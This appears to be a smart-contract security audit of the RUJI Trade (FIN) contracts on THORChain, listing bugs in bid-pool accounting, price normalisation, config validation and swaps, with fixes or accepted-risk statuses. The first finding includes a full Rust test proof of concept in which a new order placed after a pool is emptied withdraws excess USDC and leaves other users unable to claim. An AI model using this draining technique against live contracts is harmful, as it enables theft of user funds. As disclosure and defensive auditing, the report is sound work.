RUJI Trade (FIN) - THORChain

After a full distribution, if a pool is emptied and refilled, the sum and product values are not reset correctly, leading to severe miscalculations in future distributions.

• New orders inherit incorrect parameters, causing inflated filled amounts.

• A newly placed order can withdraw more funds than it should, depleting the contract balance unfairly.

• Users who haven not yet claimed their filled bids may find insufficient funds, making rightful withdrawals impossible.

Impact:

• Severe fund misallocation, leading to financial loss for users.

• Potential contract insolvency, as valid withdrawals may not be covered.

• Exploitable loophole, allowing users to drain excess funds by strategically placing new orders after a pool reset.

Code Location

Code of bid_filled_amount function from packages/rujira-rs/src/bid_pool/pool.rs file.

fn bid_filled_amount(
    &self,
    bid: &Bid,
    sum_snapshot: Option<DecimalScaled>,
) -> StdResult<Uint256> {
    if bid.product_snapshot.is_zero() {
        return Ok(Uint256::zero());
    }
    let reference_ss = sum_snapshot.unwrap_or(bid.sum_snapshot);
    let res = reference_ss
        .sub(bid.sum_snapshot)
        .mul(bid.amount)
        .div(bid.product_snapshot)
        .to_uint_floor();

    Ok(res)
}

Scenario:

This test simulates a situation where a pool is fully drained after a total distribution, and a new order is placed immediately after. The goal is to observe how the system behaves when a new order is inserted into an empty pool, followed by another swap.

1. Initial State:

   • Orders totaling 1,600 BTC are created at a fixed price of 1,000 USDC per BTC.

     • 100 BTC

     • 1000 BTC

     • 500 BTC

   • A full distribution of 1,600,000 USDC occurs, filling all existing orders and leaving the pool empty.

     
     

2. New Order and Swap:

   • A new order of 800 BTC is placed after the pool is empty.

   • A second swap is executed with an offer of only 1,000 USDC (equivalent to 1 BTC), yet the newly placed order gets fully filled.

     
     

3. Claiming Process:

   • The user who placed the new order claims their filled amount and receives 1,300,000 USDC, which is significantly more than expected.

   • Another user tries to claim their filled amount, but the contract lacks sufficient funds, resulting in a panic.

Test:

#[test]
#[should_panic]
fn test_new_bid_after_pool_ends_and_new_swap() {
    let (mut app, contract) = setup();
    let owner = app.api().addr_make("owner");
    let funds = vec![
        coin(500_000_000_000_000, "btc-btc"),
        coin(500_000_000_000_000, "eth-usdc"),
    ];
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &owner, funds.clone())
            .unwrap();
    });

    let user= app.api().addr_make("user");
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &user, funds.clone())
            .unwrap();
    });

    let user2= app.api().addr_make("user2");
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &user2, funds.clone())
            .unwrap();
    });

    let user3= app.api().addr_make("user3");
    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &user3, funds.clone())
            .unwrap();
    });

    
    println!("----> Create Orders: 1_600 BTC in total ----");
    println!("----> Price Bid Pool 1_000 ----");
    println!("");


    app.execute_contract(
        owner.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(100u128),
            ),
        ]),
        &funds,
    )
    .unwrap();

    app.execute_contract(
        user2.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(1000u128),
            ),
        ]),
        &funds,
    )
    .unwrap();

    app.execute_contract(
        user3.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(500u128),
            ),
        ]),
        &funds,
    )
    .unwrap();



    println!("----> Swap: Total Distribute of 1_600_000 USDC----");
    println!("");

    let swap_amount = coin(1_600_000, "eth-usdc");

    let res = app
        .execute_contract(
            user.clone(),
            contract.clone(),
            &ExecuteMsg::Swap(SwapRequest {
                min_return: None,
                to: None,
                callback: None,
            }),
            &[swap_amount],
        )
        .unwrap();

    res.assert_event(&Event::new("wasm-rujira-fin/trade").add_attributes(vec![
        ("rate", "1000"),
        ("price", "fixed:1000"),
        ("offer", "1600000"),
        ("bid", "1600"),
        ("side", "base"),
    ]));


    let orders_owner: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,limit:None})
    .unwrap();

    let orders_user2: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user2.clone().to_string(),side:None,offset:None,limit:None})
    .unwrap();

    let orders_user3: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user3.clone().to_string(),side:None,offset:None,limit:None})
    .unwrap();


    println!("Owner Orders:");
    for (i, order) in orders_owner.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User2 Orders:");
    for (i, order) in orders_user2.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User3 Orders:");
    for (i, order) in orders_user3.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");


    // Save the balance of User3 before creating the New Order to verify at the end the net gain
    let user3_usdc_balance_before = app.wrap().query_balance(user3.clone(), "eth-usdc").unwrap();

    println!("--->> AT THIS MOMENT, THE POOL IS EMPTY ----");
    println!("");

    println!("----> New order from user3 of 800 BTC ---- ");
    let funds = vec![
        coin(1_000_000, "btc-btc"),
    ];        

    app.execute_contract(
        user3.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(800u128),
            ),
        ]),
        &funds,
    )
    .unwrap();
    

    //Second swap with minimum amount for 1 BTC
    let swap_amount = coin(1_000, "eth-usdc");

    println!("----> Second swap with an offer of ONLY 1_000 USDC (= 1 BTC) ----");
    println!("");

    let res = app
        .execute_contract(
            user.clone(),
            contract.clone(),
            &ExecuteMsg::Swap(SwapRequest {
                min_return: None,
                to: None,
                callback: None,
            }),
            &[swap_amount],
        )
        .unwrap();


    res.assert_event(&Event::new("wasm-rujira-fin/trade").add_attributes(vec![
        ("rate", "1000"),
        ("price", "fixed:1000"),
        ("offer", "1000"),
        ("bid", "1"),
        ("side", "base"),
    ]));


    let orders_owner: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,limit:None})
    .unwrap();

    let orders_user2: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user2.clone().to_string(),side:None,offset:None,limit:None})
    .unwrap();

    let orders_user3: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user3.clone().to_string(),side:None,offset:None,limit:None})
    .unwrap();


    println!("Owner Orders:");
    for (i, order) in orders_owner.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User2 Orders:");
    for (i, order) in orders_user2.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User3 Orders:");
    for (i, order) in orders_user3.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");


    println!("---> Claim the filled amount by User3 ---- ");        
    app.execute_contract(
        user3.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(0u128),
            ),
        ]),
        &funds,
    )
    .unwrap();

    
    let user3_usdc_balance_after_last_swap = app.wrap().query_balance(user3.clone(), "eth-usdc").unwrap();
    let gain =  user3_usdc_balance_after_last_swap.amount - user3_usdc_balance_before.amount;

    println!("USDC obtained by User3: {}", gain);
    println!("");


    println!("---> Return filled amount for user Owner ---- ");
    println!("");

    app.execute_contract(
        owner.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(0u128),
            ),
        ]),
        &funds,
    )
    .unwrap();

    println!("---> Last Orders Status ---");       
    let orders_owner: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,limit:None})
    .unwrap();

    let orders_user2: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user2.clone().to_string(),side:None,offset:None,limit:None})
    .unwrap();

    let orders_user3: OrdersResponse = app
    .wrap()
    .query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:user3.clone().to_string(),side:None,offset:None,limit:None})
    .unwrap();


    println!("Owner Orders:");
    for (i, order) in orders_owner.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User2 Orders:");
    for (i, order) in orders_user2.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");

    println!("User3 Orders:");
    for (i, order) in orders_user3.orders.iter().enumerate() {
        println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
    }

    println!("");


    let contract_balance = app.wrap().query_all_balances(contract.clone()).unwrap();

    println!(" --> Contract balance remained for the last user to claim:");
    for (i, coin) in contract_balance.iter().enumerate() {
        println!("  - Coin {} -> Amount: {}", coin.denom, coin.amount);
    }

    println!("");
    println!(" ***** User2 cannot claimed his filled amount since there is no funds enough in the contract *****");

    app.execute_contract(
        user2.clone(),
        contract.clone(),
        &ExecuteMsg::Order(vec![
            (
                Side::Base,
                Price::Fixed(Decimal::from_str("1000.00").unwrap()),
                Uint128::from(0u128),
            ),
        ]),
        &funds,
    )
    .unwrap();


}

Result:

The test fails with a panic due to an overflow error when a user attempts to withdraw funds after the system has incorrectly over-allocated USDC to another user.

It is recommended to verify the filled amount calculation to ensure that new orders do not inherit past sum and product values while still preserving past values for future claims from previous users.

SOLVED: The Rujira team has solved this issue by updating the epoch snapshot parameter during each bid synchronization. This parameter is responsible for determining whether the pool has been emptied or not.

This issue was fixed in commit fb3f7af3be6e42c91264e926a14391f44e954b10

The normalized_price function applies additional decimal scaling based on pool asset decimals, even though the human price (TOR-USD) is already normalized.

The parameters used in human_price come directly from the pool information, specifically from the asset_tor_price field, which is expressed in the same unit (TOR), meaning the number of decimals is already consistent. Multiplying by the decimal factor in normalized_price may lead to incorrect price calculations, impacting trading accuracy.

This issue only affects assets with less than 6 decimals, as the "decimals" field returned from the pool information is rounded to 8 decimals for assets with more than 8 decimals. Therefore, assets with higher precision do not experience this miscalculation, but those with lower decimal values could be incorrectly adjusted.

Code Location

Code of human_price and normalized_price functions from contracts/rujira-fin/src/oracle.rs file.

fn human_price(&self) -> Decimal {
    let num = self.pools[0].asset_tor_price;
    let den = self.pools[1].asset_tor_price;
    num / den
}

fn normalized_price(&self) -> Decimal {
    let ten = Decimal::from_ratio(10u128, 1u128);
    self.human_price()
        .mul(ten.pow(self.pools[1].clone().decimals as u32))
        .div(ten.pow(self.pools[0].clone().decimals as u32))
}

It is recommended to eliminate the redundant normalized_price function, as the price is already normalized in the human_price function.

SOLVED: The Rujira team has solved this issue by removing the current Oracle implementation.

This issue was fixed in commit 648cd4fab44d4db5b23182e0349365995212c3b9

The implementation assumes that all tokens in QueryPoolResponse will include the decimals field. However, according to THORChain's API behavior:

• The decimals field is only present if the token has fewer than 8 decimals.

• For tokens with 8 or more decimals, the field is omitted from the response.

As a result, the try_from implementation does not properly handle this scenario, leading to a runtime failure when attempting to parse a missing decimals field.

Code Location

Code of try_from function from packages/rujira-rs/src/query/pool.rs file.

impl TryFrom<QueryPoolResponse> for Pool {
    type Error = TryFromPoolError;
    fn try_from(v: QueryPoolResponse) -> Result<Self, Self::Error> {
        Ok(Self {
            asset: Asset::Layer1(Layer1Asset::try_from(v.asset)?),
            short_code: v.short_code,
            status: PoolStatus::try_from(v.status)?,
            decimals: u8::try_from(v.decimals)?,
            pending_inbound_asset: Uint128::from_str(v.pending_inbound_asset.as_str())?,
            pending_inbound_rune: Uint128::from_str(v.pending_inbound_rune.as_str())?,
            balance_asset: Uint128::from_str(v.balance_asset.as_str())?,
            balance_rune: Uint128::from_str(v.balance_rune.as_str())?,
            asset_tor_price: Decimal::from_str(v.asset_tor_price.as_str())?
                .div(Uint128::from(10u128).pow(8)),
            pool_units: Uint128::from_str(v.pool_units.as_str())?,
            lp_units: Uint128::from_str(v.lp_units.as_str())?,
            synth_units: Uint128::from_str(v.synth_units.as_str())?,
            synth_supply: Uint128::from_str(v.synth_supply.as_str())?,
            savers_depth: Uint128::from_str(v.savers_depth.as_str())?,
            savers_units: Uint128::from_str(v.savers_units.as_str())?,
            savers_fill_bps: u32::from_str(&v.savers_fill_bps)?,
            savers_capacity_remaining: Uint128::from_str(v.savers_capacity_remaining.as_str())?,
            synth_mint_paused: v.synth_mint_paused,
            synth_supply_remaining: Uint128::from_str(v.synth_supply_remaining.as_str())?,
            loan_collateral: Uint128::from_str(v.loan_collateral.as_str())?,
            loan_collateral_remaining: Uint128::from_str(v.loan_collateral_remaining.as_str())?,
            loan_cr: Decimal::from_str(v.loan_cr.as_str())?,
            derived_depth_bps: u32::from_str(v.derived_depth_bps.as_str())?,
        })
    }
}

It is recommended to modify the parsing function to include a check for missing fields and handle them gracefully, such as implementing a default value of 8 for the decimals field when it is missing.

NOT APPLICABLE: The differences in API queries that include or omit the decimals value should be resolved at the base layer. The current behavior of the code sets the decimals value to 0 when it is missing. At the moment, the Rujira team has stopped using the decimals value in the code, so it has no impact.

When a user submits a swap above an exact multiple of the base asset’s price, the excess amount is not refunded or adjusted properly.

When a buyer submits a swap offer exceeding an exact multiple of the asset's price, they end up overpaying, as they receive the same amount of ask asset despite offering more offer asset than necessary.

Instead of adjusting the exchanged amount accordingly, the contract processes the trade at a fixed rate, leaving the excess unaccounted for in favor of the seller. As a result, the seller receives the full swap amount, including the surplus, rather than only the proportional value corresponding to the offer transferred.

Scenario

This test evaluates an edge case where a user submits an offer that does not align perfectly with the price structure, leading to unexpected losses.

The setup consists of a single order for 10 BTC, with a fixed price of 1,000 USDC per BTC. The user attempts to swap 1,900 USDC to purchase BTC.

• The user overpays by 900 USDC, but only receives 1 BTC instead of 1.9 BTC.

• The seller receives the full 1,900 USDC, even though only 1 BTC was sold.

• The remaining 900 USDC is lost by the user, as it is neither refunded nor converted into BTC.

  
  

Test

#[test]
fn test_offer_under_the_minimum() {
let (mut app, contract) = setup();
let owner = app.api().addr_make("owner");
let funds = vec![
    coin(500_000_000_000_000, "btc-btc"),
    coin(500_000_000_000_000, "eth-usdc"),
];
app.init_modules(|router, _, storage| {
    router
        .bank
        .init_balance(storage, &owner, funds.clone())
        .unwrap();
});

let user= app.api().addr_make("user");
app.init_modules(|router, _, storage| {
    router
        .bank
        .init_balance(storage, &user, funds.clone())
        .unwrap();
});


let owner_balance_before = app.wrap().query_all_balances(owner.clone()).unwrap();
let user_balance_before = app.wrap().query_all_balances(user.clone()).unwrap();

println!("----> Create Order: 10 BTC, Price 1000 USDC ----");

app.execute_contract(
    owner.clone(),
    contract.clone(),
    &ExecuteMsg::Order(vec![
        (
            Side::Base,
            Price::Fixed(Decimal::from_str("1000.00").unwrap()),
            Uint128::from(10u128),
        ),
    ]),
    &funds,
)
.unwrap();

println!("----> Swap 1900 USDC----");

let swap_amount = coin(1900, "eth-usdc");

let res = app
.execute_contract(
    user.clone(),
    contract.clone(),
    &ExecuteMsg::Swap(SwapRequest {
        min_return: Some(Uint128::from(1u128)),
        to: None,
        callback: None,
    }),
    &[swap_amount],
)
.unwrap();


let orders_owner: OrdersResponse = app
.wrap()
.query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,limit:None})
.unwrap();


println!("Owner Orders:");
for (i, order) in orders_owner.orders.iter().enumerate() {
    println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
}

println!("");

//Request filled

let funds = vec![
    coin(1_000_000, "btc-btc"),
];

app.execute_contract(
    owner.clone(),
    contract.clone(),
    &ExecuteMsg::Order(vec![
        (
            Side::Base,
            Price::Fixed(Decimal::from_str("1000.00").unwrap()),
            Uint128::from(0u128),
        ),
    ]),
    &funds,
)
.unwrap();



// --- After all operations ---
// Query the final balances for owner and user.
let owner_balance_after = app.wrap().query_all_balances(owner.clone()).unwrap();
let user_balance_after = app.wrap().query_all_balances(user.clone()).unwrap();

// ------------------------------------------------------------------
// Print the balance changes for each account.

// Owner outcome.
println!("Owner balance changes:");
println!("btc-btc: LOSS of {}", owner_balance_before[0].amount - owner_balance_after[0].amount);
println!("eth-usdc: GAIN of {}", owner_balance_after[1].amount - owner_balance_before[1].amount);

// User outcome.
println!("User balance changes:");
println!("btc-btc: GAIN of {}", user_balance_after[0].amount - user_balance_before[0].amount);
println!("eth-usdc: LOSS of {}", user_balance_before[1].amount - user_balance_after[1].amount);

}

It is recommended to implement refund logic for excess funds when the offer does not match an exact multiple of the price.

RISK ACCEPTED: The Rujira team has accepted this risk, as the technical solution would be too complex given how the code shares liquidity between orders using the liquidity algorithm. The client agrees that users have tools at their disposal — such as the min_return parameter in swaps and the Simulate query — to maximize benefits and minimize losses.

The current implementation does not provide a direct way for users to withdraw their filled bid amounts. Instead, they are required to create a new order with the exact remaining amount (bid.amount). If the specified amount differs, the system modifies the existing order.

Key Issues Identified:

• Lack of a dedicated withdrawal function – Users cannot withdraw their filled amounts separately without creating or modifying an order.

  
  

• Risk of unintended order modifications – If a user does not specify the exact bid.amount, the system adjusts the order, apart from allowing a withdrawal, which may not align with the user's intent.

Code Location

Code of ExecuteMsg enum from packages/rujira-rs/src/interfaces/fin/execute.rs file.

pub enum ExecuteMsg {
    /// Executes a market trade based on current order book.
    Swap(SwapRequest),

    /// Manage all orders
    /// Submit a list of price and target offer amounts
    /// 0. All filled orders will be withdrawn
    /// For each entry:
    /// 1. If no order exists at that price, one will be created
    /// 2. If an order exists, and the `offer_amount` is greater than the target amount, it will be reduced
    /// 3. If the `offer_amount` is less than the target amount, it will be increased
    ///
    /// Funds sent must be equal to the net change of balances. Funds withdrawn in step 0 and retracted in 1's,
    /// can be reused to fund orders in 1 and 3  
    Order((Vec<(Side, Price, Uint128)>, Option<CallbackData>)),

    Arb {
        then: Option<Binary>,
    },

    /// Callback action to support an arb prior to a swap execution
    DoSwap((Addr, SwapRequest)),
}

It is recommended to implement a withdraw_filled function that allows users to directly claim their filled amounts without modifying the order. Alternatively, the order function could be modified so that the amount parameter is optional. If no amount is provided, the function should only withdraw the filled amount without altering the order.

SOLVED: The Rujira team has addressed this finding by making the amount parameter of the Order optional. If the amount is not set, the order amount remains unchanged, and only the currently filled amount is withdrawn.

This issue was fixed in commit 7fd31a189bdb1f07d0aa1c226eef25956caf4499

The Config::validate and Config::update functions lack essential validation checks, permitting misconfigurations that can lead to invalid fee structures, incorrect trading pairs, and broken oracle references.

In fact, the Config::validate function is entirely empty, meaning it does not enforce any constraints before saving a configuration.

Key Issues Identified:

1. No validation of fee constraints – fee_taker and fee_maker can exceed 100%, leading to unfair fee structures or potential contract failure.

   
   

2. No validation of denoms existence in THORChain pools – This allows setting invalid trading pairs with non-existent assets.

   
   

3. No validation ensuring denoms match the assigned oracle assets – The contract does not verify that the denoms align with the oracle’s assigned assets and are set in the correct order (Oracle[0] = base asset, Oracle[1] = quote asset). Mismatches could lead to incorrect pricing and misaligned orders.

   
   

4. No validation in update() for fees (point 1) or oracles (point 3) – This allows malicious or accidental updates, which could destabilize the contract and lead to loss of funds or mispriced trades.

Code Location

Code of validate function from contracts/rujira-fin/src/config.rs file.

pub fn validate(&self) -> StdResult<()> {
    Ok(())
}

Code of update function from contracts/rujira-fin/src/config.rs file.

pub fn update(
    &mut self,
    tick: Option<Tick>,
    market_maker: Option<Addr>,
    fee_taker: Option<Decimal>,
    fee_maker: Option<Decimal>,
    fee_address: Option<Addr>,
    oracles: Option<[Layer1Asset; 2]>,
) {
    if let Some(tick) = tick {
        self.tick = tick;
    }
    if let Some(market_maker) = market_maker {
        self.market_maker = Some(market_maker);
    }
    if let Some(fee_taker) = fee_taker {
        self.fee_taker = fee_taker;
    }
    if let Some(fee_maker) = fee_maker {
        self.fee_maker = fee_maker;
    }
    if let Some(fee_address) = fee_address {
        self.fee_address = fee_address;
    }
    if let Some(oracles) = oracles {
        self.oracles = Some(oracles);
    }
}

It is recommended to enforce validations inside Config::validate, ensuring:

• fee_taker and fee_maker do not exceed 100%, preventing unfair or broken fee structures.

  
  

• denoms exist in the THORChain pools before being set, avoiding invalid trading pairs.

  
  

• denoms align with the oracle assets in the correct order (Oracle[0] = base, Oracle[1] = quote) to prevent pricing conflicts and execution errors.

Additionally, implement validation checks in Config::update to prevent misconfigurations during contract upgrades, ensuring consistency and security in all configuration changes.

SOLVED: The Rujira team has resolved this finding by updating the validate function to include fee and denom checks and also modifying the update function.
The denom-Oracle mapping order is considered not applicable, as the client states they may require flexibility in the future.

This issue was fixed in commits 15e75b0d124faa0abc264034499d129bae203596 and d8e761c5221e5df83acdcb3cd58e00e56fa4e27c

The is_empty() function removes bids when amount ≤ 1, causing orders with amount = 1 to be silently removed from the Orders query.

Although this is an edge case due to the small amount, this behavior can result in unexpected losses for users, as their bids disappear without any explicit error message, making it unclear that such small bids are considered invalid. This lack of transparency can lead to confusion and potential misinterpretation of order execution behavior.

Code Location

Code of is_empty function from packages/rujira-rs/src/bid_pool/bid.rs file.

pub fn is_empty(&self) -> bool {
    self.amount <= Uint256::from(1u128) && self.filled.is_zero()
}

It is recommended to change the threshold from amount ≤ 1 to amount = 0 to avoid removing valid orders.

SOLVED: The Rujira team solved the issue by following the recommendation.

The issue was fixed in commit c7eac0b79e5e796f76bf06c28a59e9e6583bd7df

The handle_commit function executes a swap using the market maker's liquidity without verifying if the contract has enough funds to complete the trade. If the available balance is insufficient, the transaction may fail at execution time, potentially causing arbitrage disruptions or unexpected contract behavior.

Code Location

Code of handle_commit function from contracts/rujira-fin/src/contract.rs file.

fn handle_commit(
    c: SwapCommit,
    config: &Config,
    side: &Side,
    messages: &mut Vec<CosmosMsg>,
) -> StdResult<()> {
    if let Some(mm) = config.market_maker.clone() {
        if !c.market_maker.1.is_zero() {
            let min_return = coin(c.market_maker.1.u128(), config.denoms.bid(side));

            messages.push(CosmosMsg::Wasm(WasmMsg::Execute {
                contract_addr: mm.to_string(),
                msg: to_json_binary(&bow::ExecuteMsg::Swap {
                    min_return,
                    to: None,
                    callback: None,
                })?,
                funds: coins(c.market_maker.0.u128(), config.denoms.ask(side)),
            }))
        }
    }
    Ok(())
}

Before pushing the swap message, check if the contract has enough balance to cover c.market_maker.0. If the balance is insufficient, return an explicit error message instead of allowing execution panic.

ACKNOWLEDGED: The Rujira team has acknowledged this finding.

The swap function from Swapper continues iterating over the Items of the iterator even after the offer is fully covered, triggering an unnecessary Market Maker quote request when the item is a MarketMaker one. This increases the gas costs from redundant contract calls.

Code Location

Code of swap function from packages/rujira-rs/src/exchange/swapper.rs file.

pub fn swap(&mut self, iter: &mut dyn Iterator<Item = T>) -> Result<SwapResult, SwapError> {
    for mut v in iter {
        if self.offer.is_zero() {
            break;
        }
        let (offer, bids) = v.swap(self.offer)?;
        let attrs = v.attributes();
        self.events.push(event(&v, offer, bids, &attrs));
        self.pending.push(v);
        self.offer -= offer;
        self.returned += bids;
    }

It is recommended to stop iteration immediately when self.offer == 0 before making further Market Maker queries.

SOLVED: The Rujira team solved this issue by moving the if condition to the end of the for loop.

This issue was fixed in commit d89d754a3c165747d9d1f7e15664f65564f959dd